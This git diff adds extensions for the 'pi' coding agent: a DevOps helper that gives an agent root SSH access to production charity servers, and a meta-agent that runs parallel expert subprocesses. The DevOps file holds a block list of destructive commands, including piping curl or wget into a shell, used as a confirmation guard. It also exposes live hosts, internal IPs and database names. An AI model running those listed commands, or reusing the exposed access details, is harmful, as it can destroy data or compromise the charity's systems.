const ctxPct = getContextPercent(); + + appendEvent({ + ts: Date.now(), + type: "agent_start", + sessionId, + agentTurn: agentTurnCount, + contextPercent: ctxPct, + }); + + updateWidget(); + } catch {} + + // Don't modify the system prompt — return undefined + return undefined; + }); + + pi.on("agent_end", async (_event, ctx) => { + try { + widgetCtx = ctx; + const turnDuration = Date.now() - agentTurnStartTs; + const { tokensIn, tokensOut, cost } = computeTokensAndCost(ctx); + const ctxPct = getContextPercent(); + + // Update session summary + if (currentSession) { + currentSession.tokensIn = tokensIn; + currentSession.tokensOut = tokensOut; + currentSession.cost = cost; + if (ctxPct > currentSession.peakContextPercent) { + currentSession.peakContextPercent = ctxPct; + } + } + + // Update global summary totals using deltas (so cross-session values accumulate) + const deltaIn = tokensIn - prevTokensIn; + const deltaOut = tokensOut - prevTokensOut; + const deltaCost = cost - prevCost; + summary.totalTokensIn += deltaIn; + summary.totalTokensOut += deltaOut; + summary.totalCost += deltaCost; + prevTokensIn = tokensIn; + prevTokensOut = tokensOut; + prevCost = cost; + + appendEvent({ + ts: Date.now(), + type: "agent_end", + sessionId, + agentTurn: agentTurnCount, + durationMs: turnDuration, + contextPercent: ctxPct, + tokensIn, + tokensOut, + cost, + }); + + // Flush summary on every agent end + markDirty(); + saveSummary(); + + updateWidget(); + updateFooter(ctx); + } catch {} + }); + +} diff --git a/extensions/pi-devops.ts b/extensions/pi-devops.ts new file mode 100644 index 0000000..6dc680e --- /dev/null +++ b/extensions/pi-devops.ts @@ -0,0 +1,381 @@ +/** + * Pi DevOps — Optimized extension for CharityRight/QuikCue infrastructure + * + * Features: + * 🏗️ Infra context — injects full topology into every AI prompt + * 🛡️ Safety guard — confirms destructive ops before execution + * 📊 Smart footer — model, context, cost, tool tally, server indicator + * 🎯 Focus widget — keeps current task visible at all times + * ⚡ /health — live container + service status check + * 📋 /logs [svc] — tail logs for a service + * 🗺️ /infra — print full infra topology + * 🎯 /focus [task] — set/change the current task + * 🛑 /stop — abort current AI action + * 🔧 /ssh [cmd] — run a raw SSH command on the server + * + * Usage: pi -e extensions/pi-devops.ts + */ + +import type { ExtensionAPI, ExtensionContext } from "@mariozechner/pi-coding-agent"; +import { isToolCallEventType } from "@mariozechner/pi-coding-agent"; +import type { AssistantMessage } from "@mariozechner/pi-ai"; +import { truncateToWidth, visibleWidth } from "@mariozechner/pi-tui"; +import { basename } from "node:path"; +import { execSync } from "node:child_process"; +import { applyExtensionDefaults } from "./themeMap.ts"; + +// ═══════════════════════════════════════════════════════════════════════════ +// Infra constants +// ═══════════════════════════════════════════════════════════════════════════ + +const SSH = `ssh -o ConnectTimeout=5 -o StrictHostKeyChecking=accept-new -p 22 root@159.195.60.33`; +const INCUS_CR = `${SSH} "incus exec cr-server-new --"`; + +const INFRA_CONTEXT = ` + +You are Pi, a DevOps assistant managing live production infrastructure. + +## Primary Server +- SSH: ssh -o ConnectTimeout=5 -o StrictHostKeyChecking=accept-new -p 22 root@159.195.60.33 "" +- HAProxy routes: charityright domains → cr-server-new, quikcue domains → qc-server-new + +## Incus Containers (on primary server) +- cr-server-new (10.213.16.224) — CharityRight. Docker runs INSIDE here. +- qc-server-new (10.213.16.234) — QuikCue +- qc-server — STOPPED legacy + +## Docker (inside cr-server-new only!) +- Run: ssh ... "incus exec cr-server-new -- docker " +- Postgres container: dokploy-migrated-cr-postgres-data +- DB: donation_warehouse +- Query: ssh ... "incus exec cr-server-new -- docker exec dokploy-migrated-cr-postgres-data psql -U postgres -d donation_warehouse -c \\"SELECT ...\\"" + +## Services +- /opt/ayn-antivirus — AYN antivirus scanner +- /opt/enthuse-db-sync-v2 — Enthuse donation sync +- /opt/launchgood-sync — LaunchGood sync +- /root/legacy-donation-system-laravel — CharityRight Laravel app +- /root/redis-v2 — Redis + +## Critical Rules +- NEVER run docker commands directly on the primary host +- Always use incus exec cr-server-new -- for Docker ops +- Warn before any restart/stop of production services +- Always test with SELECT before UPDATE/DELETE +`.trim(); + +// ═══════════════════════════════════════════════════════════════════════════ +// Dangerous patterns +// ═══════════════════════════════════════════════════════════════════════════ + +const DANGEROUS: { pattern: RegExp; reason: string }[] = [ + { pattern: /rm\s+-[rRf]{1,3}\s+[\/~]/, reason: "Deleting from root or home!" }, + { pattern: /rm\s+-rf/, reason: "Recursive force delete" }, + { pattern: /DROP\s+(TABLE|DATABASE|SCHEMA)/i, reason: "SQL DROP detected" }, + { pattern: /TRUNCATE\s+TABLE/i, reason: "SQL TRUNCATE detected" }, + { pattern: /DELETE\s+FROM\s+\w+\s*(WHERE\s+1=1\s*)?(;|$)/i, reason: "Potentially unsafe DELETE" }, + { pattern: /UPDATE\s+\w+\s+SET\s+.*\s*;?\s*$/i, reason: "UPDATE without WHERE — may affect all rows" }, + { pattern: /docker\s+system\s+prune/, reason: "Docker prune — removes all unused data" }, + { pattern: /incus\s+(delete|stop)\s+\S+/, reason: "Incus container operation" }, + { pattern: /systemctl\s+(stop|disable|restart)\s+(haproxy|docker|nginx)/, reason: "Touching critical production service" }, + { pattern: /git\s+push\s+.*--force/, reason: "Force push — may overwrite remote history" }, + { pattern: /git\s+reset\s+--hard/, reason: "Hard reset — may lose uncommitted changes" }, + { pattern: /mkfs\./, reason: "Filesystem format command!" }, + { pattern: /dd\s+if=/, reason: "Raw disk copy via dd" }, + { pattern: /curl.*\|\s*(ba)?sh/, reason: "Piping remote script to shell" }, + { pattern: /wget.*\|\s*(ba)?sh/, reason: "Piping remote script to shell" }, + { pattern: /chmod\s+-R\s+777/, reason: "Recursive world-writable permissions" }, +]; + +// ═══════════════════════════════════════════════════════════════════════════ +// Helpers +// ═══════════════════════════════════════════════════════════════════════════ + +function runSSH(cmd: string, timeout = 15000): string { + try { + return execSync(`${SSH} "${cmd.replace(/"/g, '\\"')}"`, { timeout, encoding: "utf8" }).trim(); + } catch (e: any) { + return e?.stdout?.trim() || e?.message || "SSH error"; + } +} + +// ═══════════════════════════════════════════════════════════════════════════ +// Extension +// ═══════════════════════════════════════════════════════════════════════════ + +export default function (pi: ExtensionAPI) { + let focus: string | undefined; + let activeCtx: ExtensionContext | undefined; + const toolCounts: Record = {}; + + // ── Tool tracking ───────────────────────────────────────────────────── + pi.on("tool_execution_end", async (event) => { + toolCounts[event.toolName] = (toolCounts[event.toolName] || 0) + 1; + }); + + // ── Session start ───────────────────────────────────────────────────── + pi.on("session_start", async (_event, ctx) => { + applyExtensionDefaults(import.meta.url, ctx); + activeCtx = ctx; + + // Ask for focus task (non-blocking) + void (async () => { + const answer = await ctx.ui.input( + "🎯 What are you working on today?", + "e.g. Debug launchgood sync, check cr-server disk, investigate slow queries" + ); + if (answer?.trim()) { + focus = answer.trim(); + setFocusWidget(ctx); + ctx.ui.notify(`🎯 Focus set: ${focus}`, "success"); + } else { + ctx.ui.notify("💡 No focus set. Use /focus to set one anytime.", "info"); + } + })(); + + // ── Footer ──────────────────────────────────────────────────────── + ctx.ui.setFooter((tui, theme, footerData) => { + const unsub = footerData.onBranchChange(() => tui.requestRender()); + return { + dispose: unsub, + invalidate() {}, + render(width: number): string[] { + // Accumulate tokens + cost + let tokIn = 0, tokOut = 0, cost = 0; + for (const entry of ctx.sessionManager.getBranch()) { + if (entry.type === "message" && entry.message.role === "assistant") { + const m = entry.message as AssistantMessage; + tokIn += m.usage.input; + tokOut += m.usage.output; + cost += m.usage.cost.total; + } + } + + const fmt = (n: number) => n < 1000 ? `${n}` : `${(n / 1000).toFixed(1)}k`; + const model = ctx.model?.id || "no-model"; + const branch = footerData.getGitBranch(); + const dir = basename(ctx.cwd); + + // Context bar + const usage = ctx.getContextUsage(); + const pct = usage?.percent ?? 0; + const filled = Math.round(pct / 10); + const bar = + (pct < 70 ? theme.fg("success", "█".repeat(filled)) : pct < 90 ? theme.fg("warning", "█".repeat(filled)) : theme.fg("error", "█".repeat(filled))) + + theme.fg("dim", "░".repeat(10 - filled)); + + // Line 1: model | context | tokens | cost + const l1Left = + theme.fg("accent", " Pi") + + theme.fg("dim", ` ${model} `) + + bar + + theme.fg("dim", ` ${Math.round(pct)}%`); + + const l1Right = + theme.fg("success", fmt(tokIn)) + + theme.fg("dim", "↓ ") + + theme.fg("accent", fmt(tokOut)) + + theme.fg("dim", "↑ ") + + theme.fg("warning", `$${cost.toFixed(4)}`) + + theme.fg("dim", " "); + + const pad1 = " ".repeat(Math.max(1, width - visibleWidth(l1Left) - visibleWidth(l1Right))); + const line1 = truncateToWidth(l1Left + pad1 + l1Right, width, ""); + + // Line 2: cwd | branch | tools + const l2Left = + theme.fg("dim", ` ${dir}`) + + (branch + ? theme.fg("dim", " ") + theme.fg("warning", "(") + theme.fg("success", branch) + theme.fg("warning", ")") + : "") + + theme.fg("dim", " › 159.195.60.33"); + + const entries = Object.entries(toolCounts); + const l2Right = entries.length === 0 + ? theme.fg("dim", "no tools yet ") + : entries.map(([n, c]) => theme.fg("accent", n) + theme.fg("dim", ":") + theme.fg("success", `${c}`)).join(theme.fg("dim", " ")) + " "; + + const pad2 = " ".repeat(Math.max(1, width - visibleWidth(l2Left) - visibleWidth(l2Right))); + const line2 = truncateToWidth(l2Left + pad2 + l2Right, width, ""); + + return [line1, line2]; + }, + }; + }); + }); + + pi.on("session_switch", async (_event, ctx) => { activeCtx = ctx; }); + + // ── Safety guard ────────────────────────────────────────────────────── + pi.on("tool_call", async (event, ctx) => { + if (isToolCallEventType("bash", event)) { + const cmd = event.input.command; + for (const { pattern, reason } of DANGEROUS) { + if (pattern.test(cmd)) { + const confirmed = await ctx.ui.confirm( + "⚠️ Destructive Operation", + `${reason}\n\nCommand:\n${cmd}\n\nRun this on LIVE production?`, + { timeout: 30000 } + ); + if (!confirmed) { + ctx.ui.notify(`🛡️ Blocked: ${reason}`, "warning"); + ctx.abort(); + return { + block: true, + reason: `🛑 BLOCKED: ${reason}\n\nUser declined. Ask what to do instead.`, + }; + } + break; + } + } + } + return { block: false }; + }); + + // ── System prompt injection ─────────────────────────────────────────── + pi.on("before_agent_start", async (event) => { + let extra = `\n\n${INFRA_CONTEXT}`; + if (focus) { + extra += `\n\n\n${focus}\nStay focused on this task. If asked something unrelated, note it but bring back to the focus.\n`; + } + return { systemPrompt: event.systemPrompt + extra }; + }); + + // ── Focus widget ────────────────────────────────────────────────────── + function setFocusWidget(ctx: ExtensionContext) { + ctx.ui.setWidget("focus", () => ({ + render(width: number): string[] { + const line = truncateToWidth(` 🎯 ${focus}`, width - 2, "…"); + return [ + " ".repeat(width), + line + " ".repeat(Math.max(0, width - visibleWidth(line))), + " ".repeat(width), + ]; + }, + invalidate() {}, + })); + } + + // ═══════════════════════════════════════════════════════════════════════ + // Commands + // ═══════════════════════════════════════════════════════════════════════ + + pi.registerCommand("stop", { + description: "Abort current AI action", + handler: async (args, ctx) => { + ctx.abort(); + ctx.ui.notify(args?.trim() ? `🛑 Stopped: ${args.trim()}` : "🛑 Stopped.", "warning"); + }, + }); + + pi.registerCommand("focus", { + description: "Set or change current task focus", + handler: async (args, ctx) => { + if (args?.trim()) { + focus = args.trim(); + setFocusWidget(ctx); + ctx.ui.notify(`🎯 Focus set: ${focus}`, "success"); + } else { + const answer = await ctx.ui.input("🎯 What are you working on?", focus || "e.g. Debug sync, check logs..."); + if (answer?.trim()) { + focus = answer.trim(); + setFocusWidget(ctx); + ctx.ui.notify(`🎯 Focus set: ${focus}`, "success"); + } + } + }, + }); + + pi.registerCommand("infra", { + description: "Show infra topology", + handler: async (_args, ctx) => { + ctx.ui.notify( + "🗺️ Infra Topology\n\n" + + "Server: root@159.195.60.33\n\n" + + "Containers:\n" + + " cr-server-new (10.213.16.224) — CharityRight + Docker\n" + + " qc-server-new (10.213.16.234) — QuikCue\n" + + " qc-server — STOPPED\n\n" + + "HAProxy:\n" + + " charityright.* → cr-server-new:443\n" + + " quikcue.* → qc-server-new:443\n" + + " antivirus.quikcue.com → localhost:8877\n\n" + + "Services (on cr-server-new):\n" + + " /opt/ayn-antivirus\n" + + " /opt/enthuse-db-sync-v2\n" + + " /opt/launchgood-sync\n" + + " /root/legacy-donation-system-laravel\n" + + " /root/redis-v2", + "info" + ); + }, + }); + + pi.registerCommand("health", { + description: "Live check of containers and key services", + handler: async (_args, ctx) => { + ctx.ui.notify("⏳ Checking infra health...", "info"); + try { + const containers = runSSH("incus list --format=csv -c ns", 10000); + const haproxy = runSSH("systemctl is-active haproxy", 5000); + const docker = runSSH("incus exec cr-server-new -- docker ps --format '{{.Names}}\\t{{.Status}}' 2>/dev/null | head -10", 10000); + const disk = runSSH("df -h / | tail -1 | awk '{print $5\" used of \"$2}'", 5000); + const mem = runSSH("free -m | awk 'NR==2{printf \"%sMB / %sMB (%.0f%%)\", $3,$2,$3*100/$2}'", 5000); + + ctx.ui.notify( + "✅ Infrastructure Health\n\n" + + `HAProxy: ${haproxy === "active" ? "✅ active" : "❌ " + haproxy}\n\n` + + `Containers:\n${containers.split("\n").map(l => " " + l).join("\n")}\n\n` + + `Docker (cr-server-new):\n${docker.split("\n").map(l => " " + l).join("\n")}\n\n` + + `Disk: ${disk}\n` + + `RAM: ${mem}`, + "info" + ); + } catch (e: any) { + ctx.ui.notify(`❌ Health check failed: ${e.message}`, "error"); + } + }, + }); + + pi.registerCommand("logs", { + description: "Tail logs for a service (usage: /logs launchgood)", + handler: async (args, ctx) => { + const services: Record = { + launchgood: "incus exec cr-server-new -- journalctl -u launchgood-sync -n 50 --no-pager 2>/dev/null || incus exec cr-server-new -- tail -50 /opt/launchgood-sync/logs/app.log 2>/dev/null", + enthuse: "incus exec cr-server-new -- journalctl -u enthuse-sync -n 50 --no-pager 2>/dev/null || incus exec cr-server-new -- tail -50 /opt/enthuse-db-sync-v2/logs/app.log 2>/dev/null", + antivirus: "journalctl -u ayn-antivirus -n 50 --no-pager 2>/dev/null", + haproxy: "journalctl -u haproxy -n 50 --no-pager", + laravel: "incus exec cr-server-new -- tail -50 /root/legacy-donation-system-laravel/storage/logs/laravel.log 2>/dev/null", + }; + + const svc = args?.trim().toLowerCase(); + + if (!svc || !services[svc]) { + const opts = Object.keys(services); + const choice = await ctx.ui.select("Which service logs?", opts); + if (!choice) return; + const cmd = services[choice]; + ctx.ui.notify("⏳ Fetching logs...", "info"); + const out = runSSH(cmd, 15000); + ctx.ui.notify(`📋 ${choice} logs:\n\n${out.slice(-3000)}`, "info"); + } else { + ctx.ui.notify("⏳ Fetching logs...", "info"); + const out = runSSH(services[svc], 15000); + ctx.ui.notify(`📋 ${svc} logs:\n\n${out.slice(-3000)}`, "info"); + } + }, + }); + + pi.registerCommand("ssh", { + description: "Run a raw SSH command on the server", + handler: async (args, ctx) => { + if (!args?.trim()) { + ctx.ui.notify("Usage: /ssh \nExample: /ssh incus list", "warning"); + return; + } + ctx.ui.notify(`⏳ Running: ${args.trim()}`, "info"); + const out = runSSH(args.trim(), 20000); + ctx.ui.notify(`$ ${args.trim()}\n\n${out}`, "info"); + }, + }); +} diff --git a/extensions/pi-pi.ts b/extensions/pi-pi.ts new file mode 100644 index 0000000..97c46d2 --- /dev/null +++ b/extensions/pi-pi.ts @@ -0,0 +1,633 @@ +/** + * Pi Pi — Meta-agent that builds Pi agents + * + * A team of domain-specific research experts (extensions, themes, skills, + * settings, TUI) operate in PARALLEL to gather documentation and patterns. + * The primary agent synthesizes their findings and WRITES the actual files. + * + * Each expert fetches fresh Pi documentation via firecrawl on first query. + * Experts are read-only researchers. The primary agent is the only writer. + * + * Commands: + * /experts — list available experts and their status + * /experts-grid N — set dashboard column count (default 3) + * + * Usage: pi -e extensions/pi-pi.ts + */ + +import type { ExtensionAPI } from "@mariozechner/pi-coding-agent"; +import { Type } from "@sinclair/typebox"; +import { Text, truncateToWidth, visibleWidth } from "@mariozechner/pi-tui"; +import { spawn } from "child_process"; +import { readdirSync, readFileSync, existsSync, mkdirSync } from "fs"; +import { join, resolve } from "path"; +import { applyExtensionDefaults } from "./themeMap.ts"; + +// ── Types ──────────────────────────────────────── + +interface ExpertDef { + name: string; + description: string; + tools: string; + systemPrompt: string; + file: string; +} + +interface ExpertState { + def: ExpertDef; + status: "idle" | "researching" | "done" | "error"; + question: string; + elapsed: number; + lastLine: string; + queryCount: number; + timer?: ReturnType; +} + +// ── Helpers ────────────────────────────────────── + +function displayName(name: string): string { + return name.split("-").map(w => w.charAt(0).toUpperCase() + w.slice(1)).join(" "); +} + +function parseAgentFile(filePath: string): ExpertDef | null { + try { + const raw = readFileSync(filePath, "utf-8"); + const match = raw.match(/^---\n([\s\S]*?)\n---\n([\s\S]*)$/); + if (!match) return null; + + const frontmatter: Record = {}; + for (const line of match[1].split("\n")) { + const idx = line.indexOf(":"); + if (idx > 0) { + frontmatter[line.slice(0, idx).trim()] = line.slice(idx + 1).trim(); + } + } + + if (!frontmatter.name) return null; + + return { + name: frontmatter.name, + description: frontmatter.description || "", + tools: frontmatter.tools || "read,grep,find,ls", + systemPrompt: match[2].trim(), + file: filePath, + }; + } catch { + return null; + } +} + +// ── Expert card colors ──────────────────────────── +// Each expert gets a unique hue: bg fills the card interior, +// br is the matching border foreground (brighter shade of same hue). +const EXPERT_COLORS: Record = { + "agent-expert": { bg: "\x1b[48;2;20;30;75m", br: "\x1b[38;2;70;110;210m" }, // navy + "config-expert": { bg: "\x1b[48;2;18;65;30m", br: "\x1b[38;2;55;175;90m" }, // forest + "ext-expert": { bg: "\x1b[48;2;80;18;28m", br: "\x1b[38;2;210;65;85m" }, // crimson + "keybinding-expert": { bg: "\x1b[48;2;50;22;85m", br: "\x1b[38;2;145;80;220m" }, // violet + "prompt-expert": { bg: "\x1b[48;2;80;55;12m", br: "\x1b[38;2;215;150;40m" }, // amber + "skill-expert": { bg: "\x1b[48;2;12;65;75m", br: "\x1b[38;2;40;175;195m" }, // teal + "theme-expert": { bg: "\x1b[48;2;80;18;62m", br: "\x1b[38;2;210;55;160m" }, // rose + "tui-expert": { bg: "\x1b[48;2;28;42;80m", br: "\x1b[38;2;85;120;210m" }, // slate + "cli-expert": { bg: "\x1b[48;2;60;80;20m", br: "\x1b[38;2;160;210;55m" }, // olive/lime +}; +const FG_RESET = "\x1b[39m"; +const BG_RESET = "\x1b[49m"; + +// ── Extension ──────────────────────────────────── + +export default function (pi: ExtensionAPI) { + const experts: Map = new Map(); + let gridCols = 3; + let widgetCtx: any; + + function loadExperts(cwd: string) { + // Pi Pi experts live in their own dedicated directory + const piPiDir = join(cwd, ".pi", "agents", "pi-pi"); + + experts.clear(); + + if (!existsSync(piPiDir)) return; + try { + for (const file of readdirSync(piPiDir)) { + if (!file.endsWith(".md")) continue; + if (file === "pi-orchestrator.md") continue; + const fullPath = resolve(piPiDir, file); + const def = parseAgentFile(fullPath); + if (def) { + const key = def.name.toLowerCase(); + if (!experts.has(key)) { + experts.set(key, { + def, + status: "idle", + question: "", + elapsed: 0, + lastLine: "", + queryCount: 0, + }); + } + } + } + } catch {} + } + + // ── Grid Rendering ─────────────────────────── + + function renderCard(state: ExpertState, colWidth: number, theme: any): string[] { + const w = colWidth - 2; + const truncate = (s: string, max: number) => s.length > max ? s.slice(0, max - 3) + "..." : s; + + const statusColor = state.status === "idle" ? "dim" + : state.status === "researching" ? "accent" + : state.status === "done" ? "success" : "error"; + const statusIcon = state.status === "idle" ? "○" + : state.status === "researching" ? "◉" + : state.status === "done" ? "✓" : "✗"; + + const name = displayName(state.def.name); + const nameStr = theme.fg("accent", theme.bold(truncate(name, w))); + const nameVisible = Math.min(name.length, w); + + const statusStr = `${statusIcon} ${state.status}`; + const timeStr = state.status !== "idle" ? ` ${Math.round(state.elapsed / 1000)}s` : ""; + const queriesStr = state.queryCount > 0 ? ` (${state.queryCount})` : ""; + const statusLine = theme.fg(statusColor, statusStr + timeStr + queriesStr); + const statusVisible = statusStr.length + timeStr.length + queriesStr.length; + + const workRaw = state.question || state.def.description; + const workText = truncate(workRaw, Math.min(50, w - 1)); + const workLine = theme.fg("muted", workText); + const workVisible = workText.length; + + const lastRaw = state.lastLine || ""; + const lastText = truncate(lastRaw, Math.min(50, w - 1)); + const lastLineRendered = lastText ? theme.fg("dim", lastText) : theme.fg("dim", "—"); + const lastVisible = lastText ? lastText.length : 1; + + const colors = EXPERT_COLORS[state.def.name]; + const bg = colors?.bg ?? ""; + const br = colors?.br ?? ""; + const bgr = bg ? BG_RESET : ""; + const fgr = br ? FG_RESET : ""; + + // br colors the box-drawing characters; bg fills behind them so the + // full card — top line, side bars, bottom line — is one solid block. + const bord = (s: string) => bg + br + s + bgr + fgr; + + const top = "┌" + "─".repeat(w) + "┐"; + const bot = "└" + "─".repeat(w) + "┘"; + + // bg fills the inner content area; re-applied before padding to ensure + // the full row is colored even if theme.fg uses a full ANSI reset inside. + const border = (content: string, visLen: number) => { + const pad = " ".repeat(Math.max(0, w - visLen)); + return bord("│") + bg + content + bg + pad + bgr + bord("│"); + }; + + return [ + bord(top), + border(" " + nameStr, 1 + nameVisible), + border(" " + statusLine, 1 + statusVisible), + border(" " + workLine, 1 + workVisible), + border(" " + lastLineRendered, 1 + lastVisible), + bord(bot), + ]; + } + + function updateWidget() { + if (!widgetCtx) return; + + widgetCtx.ui.setWidget("pi-pi-grid", (_tui: any, theme: any) => { + + return { + render(width: number): string[] { + if (experts.size === 0) { + return ["", theme.fg("dim", " No experts found. Add agent .md files to .pi/agents/pi-pi/")]; + } + + const cols = Math.min(gridCols, experts.size); + const gap = 1; + // avoid Text component's ANSI-width miscounting by returning raw lines + const colWidth = Math.floor((width - gap * (cols - 1)) / cols) - 1; + const allExperts = Array.from(experts.values()); + + const lines: string[] = [""]; // top margin + + for (let i = 0; i < allExperts.length; i += cols) { + const rowExperts = allExperts.slice(i, i + cols); + const cards = rowExperts.map(e => renderCard(e, colWidth, theme)); + + while (cards.length < cols) { + cards.push(Array(6).fill(" ".repeat(colWidth))); + } + + const cardHeight = cards[0].length; + for (let line = 0; line < cardHeight; line++) { + lines.push(cards.map(card => card[line] || "").join(" ".repeat(gap))); + } + } + + return lines; + }, + invalidate() {}, + }; + }); + } + + // ── Query Expert ───────────────────────────── + + function queryExpert( + expertName: string, + question: string, + ctx: any, + ): Promise<{ output: string; exitCode: number; elapsed: number }> { + const key = expertName.toLowerCase(); + const state = experts.get(key); + if (!state) { + return Promise.resolve({ + output: `Expert "${expertName}" not found. Available: ${Array.from(experts.values()).map(s => s.def.name).join(", ")}`, + exitCode: 1, + elapsed: 0, + }); + } + + if (state.status === "researching") { + return Promise.resolve({ + output: `Expert "${displayName(state.def.name)}" is already researching. Wait for it to finish.`, + exitCode: 1, + elapsed: 0, + }); + } + + state.status = "researching"; + state.question = question; + state.elapsed = 0; + state.lastLine = ""; + state.queryCount++; + updateWidget(); + + const startTime = Date.now(); + state.timer = setInterval(() => { + state.elapsed = Date.now() - startTime; + updateWidget(); + }, 1000); + + const model = ctx.model + ? `${ctx.model.provider}/${ctx.model.id}` + : "openrouter/google/gemini-3-flash-preview"; + + const args = [ + "--mode", "json", + "-p", + "--no-session", + "--no-extensions", + "--model", model, + "--tools", state.def.tools, + "--thinking", "off", + "--append-system-prompt", state.def.systemPrompt, + question, + ]; + + const textChunks: string[] = []; + + return new Promise((resolve) => { + const proc = spawn("pi", args, { + stdio: ["ignore", "pipe", "pipe"], + env: { ...process.env }, + }); + + let buffer = ""; + + proc.stdout!.setEncoding("utf-8"); + proc.stdout!.on("data", (chunk: string) => { + buffer += chunk; + const lines = buffer.split("\n"); + buffer = lines.pop() || ""; + for (const line of lines) { + if (!line.trim()) continue; + try { + const event = JSON.parse(line); + if (event.type === "message_update") { + const delta = event.assistantMessageEvent; + if (delta?.type === "text_delta") { + textChunks.push(delta.delta || ""); + const full = textChunks.join(""); + const last = full.split("\n").filter((l: string) => l.trim()).pop() || ""; + state.lastLine = last; + updateWidget(); + } + } + } catch {} + } + }); + + proc.stderr!.setEncoding("utf-8"); + proc.stderr!.on("data", () => {}); + + proc.on("close", (code) => { + if (buffer.trim()) { + try { + const event = JSON.parse(buffer); + if (event.type === "message_update") { + const delta = event.assistantMessageEvent; + if (delta?.type === "text_delta") textChunks.push(delta.delta || ""); + } + } catch {} + } + + clearInterval(state.timer); + state.elapsed = Date.now() - startTime; + state.status = code === 0 ? "done" : "error"; + + const full = textChunks.join(""); + state.lastLine = full.split("\n").filter((l: string) => l.trim()).pop() || ""; + updateWidget(); + + ctx.ui.notify( + `${displayName(state.def.name)} ${state.status} in ${Math.round(state.elapsed / 1000)}s`, + state.status === "done" ? "success" : "error" + ); + + resolve({ + output: full, + exitCode: code ?? 1, + elapsed: state.elapsed, + }); + }); + + proc.on("error", (err) => { + clearInterval(state.timer); + state.status = "error"; + state.lastLine = `Error: ${err.message}`; + updateWidget(); + resolve({ + output: `Error spawning expert: ${err.message}`, + exitCode: 1, + elapsed: Date.now() - startTime, + }); + }); + }); + } + + // ── query_experts Tool (parallel) ─────────── + + pi.registerTool({ + name: "query_experts", + label: "Query Experts", + description: `Query one or more Pi domain experts IN PARALLEL. All experts run simultaneously as concurrent subprocesses. + +Pass an array of queries — each with an expert name and a specific question. All experts start at the same time and their results are returned together. + +Available experts: +- ext-expert: Extensions — tools, events, commands, rendering, state management +- theme-expert: Themes — JSON format, 51 color tokens, vars, color values +- skill-expert: Skills — SKILL.md multi-file packages, scripts, references, frontmatter +- config-expert: Settings — settings.json, providers, models, packages, keybindings +- tui-expert: TUI — components, keyboard input, overlays, widgets, footers, editors +- prompt-expert: Prompt templates — single-file .md commands, arguments ($1, $@) +- agent-expert: Agent definitions — .md personas, tools, teams.yaml, orchestration +- keybinding-expert: Keyboard shortcuts — registerShortcut(), Key IDs, reserved keys, macOS terminal compatibility + +Ask specific questions about what you need to BUILD. Each expert will return documentation excerpts, code patterns, and implementation guidance.`, + + parameters: Type.Object({ + queries: Type.Array( + Type.Object({ + expert: Type.String({ + description: "Expert name: ext-expert, theme-expert, skill-expert, config-expert, tui-expert, prompt-expert, or agent-expert", + }), + question: Type.String({ + description: "Specific question about what you need to build. Include context about the target component.", + }), + }), + { description: "Array of expert queries to run in parallel" }, + ), + }), + + async execute(_toolCallId, params, _signal, onUpdate, ctx) { + const { queries } = params as { queries: { expert: string; question: string }[] }; + + if (!queries || queries.length === 0) { + return { + content: [{ type: "text", text: "No queries provided." }], + details: { results: [], status: "error" }, + }; + } + + const names = queries.map(q => displayName(q.expert)).join(", "); + if (onUpdate) { + onUpdate({ + content: [{ type: "text", text: `Querying ${queries.length} experts in parallel: ${names}` }], + details: { queries, status: "researching", results: [] }, + }); + } + + // Launch ALL experts concurrently — allSettled so one failure + // never discards results from the others + const settled = await Promise.allSettled( + queries.map(async ({ expert, question }) => { + const result = await queryExpert(expert, question, ctx); + const truncated = result.output.length > 12000 + ? result.output.slice(0, 12000) + "\n\n... [truncated — ask follow-up for more]" + : result.output; + const status = result.exitCode === 0 ? "done" : "error"; + return { + expert, + question, + status, + elapsed: result.elapsed, + exitCode: result.exitCode, + output: truncated, + fullOutput: result.output, + }; + }), + ); + + const results = settled.map((s, i) => + s.status === "fulfilled" + ? s.value + : { + expert: queries[i].expert, + question: queries[i].question, + status: "error" as const, + elapsed: 0, + exitCode: 1, + output: `Error: ${(s.reason as any)?.message || s.reason}`, + fullOutput: "", + }, + ); + + // Build combined response + const sections = results.map(r => { + const icon = r.status === "done" ? "✓" : "✗"; + return `## [${icon}] ${displayName(r.expert)} (${Math.round(r.elapsed / 1000)}s)\n\n${r.output}`; + }); + + return { + content: [{ type: "text", text: sections.join("\n\n---\n\n") }], + details: { + results, + status: results.every(r => r.status === "done") ? "done" : "partial", + }, + }; + }, + + renderCall(args, theme) { + const queries = (args as any).queries || []; + const names = queries.map((q: any) => displayName(q.expert || "?")).join(", "); + return new Text( + theme.fg("toolTitle", theme.bold("query_experts ")) + + theme.fg("accent", `${queries.length} parallel`) + + theme.fg("dim", " — ") + + theme.fg("muted", names), + 0, 0, + ); + }, + + renderResult(result, options, theme) { + const details = result.details as any; + if (!details?.results) { + const text = result.content[0]; + return new Text(text?.type === "text" ? text.text : "", 0, 0); + } + + if (options.isPartial || details.status === "researching") { + const count = details.queries?.length || "?"; + return new Text( + theme.fg("accent", `◉ ${count} experts`) + + theme.fg("dim", " researching in parallel..."), + 0, 0, + ); + } + + const lines = (details.results as any[]).map((r: any) => { + const icon = r.status === "done" ? "✓" : "✗"; + const color = r.status === "done" ? "success" : "error"; + const elapsed = typeof r.elapsed === "number" ? Math.round(r.elapsed / 1000) : 0; + return theme.fg(color, `${icon} ${displayName(r.expert)}`) + + theme.fg("dim", ` ${elapsed}s`); + }); + + const header = lines.join(theme.fg("dim", " · ")); + + if (options.expanded && details.results) { + const expanded = (details.results as any[]).map((r: any) => { + const output = r.fullOutput + ? (r.fullOutput.length > 4000 ? r.fullOutput.slice(0, 4000) + "\n... [truncated]" : r.fullOutput) + : r.output || ""; + return theme.fg("accent", `── ${displayName(r.expert)} ──`) + "\n" + theme.fg("muted", output); + }); + return new Text(header + "\n\n" + expanded.join("\n\n"), 0, 0); + } + + return new Text(header, 0, 0); + }, + }); + + // ── Commands ───────────────────────────────── + + pi.registerCommand("experts", { + description: "List available Pi Pi experts and their status", + handler: async (_args, _ctx) => { + widgetCtx = _ctx; + const lines = Array.from(experts.values()) + .map(s => `${displayName(s.def.name)} (${s.status}, queries: ${s.queryCount}): ${s.def.description}`) + .join("\n"); + _ctx.ui.notify(lines || "No experts loaded", "info"); + }, + }); + + pi.registerCommand("experts-grid", { + description: "Set expert grid columns: /experts-grid <1-5>", + handler: async (args, _ctx) => { + widgetCtx = _ctx; + const n = parseInt(args?.trim() || "", 10); + if (n >= 1 && n <= 5) { + gridCols = n; + _ctx.ui.notify(`Grid set to ${gridCols} columns`, "info"); + updateWidget(); + } else { + 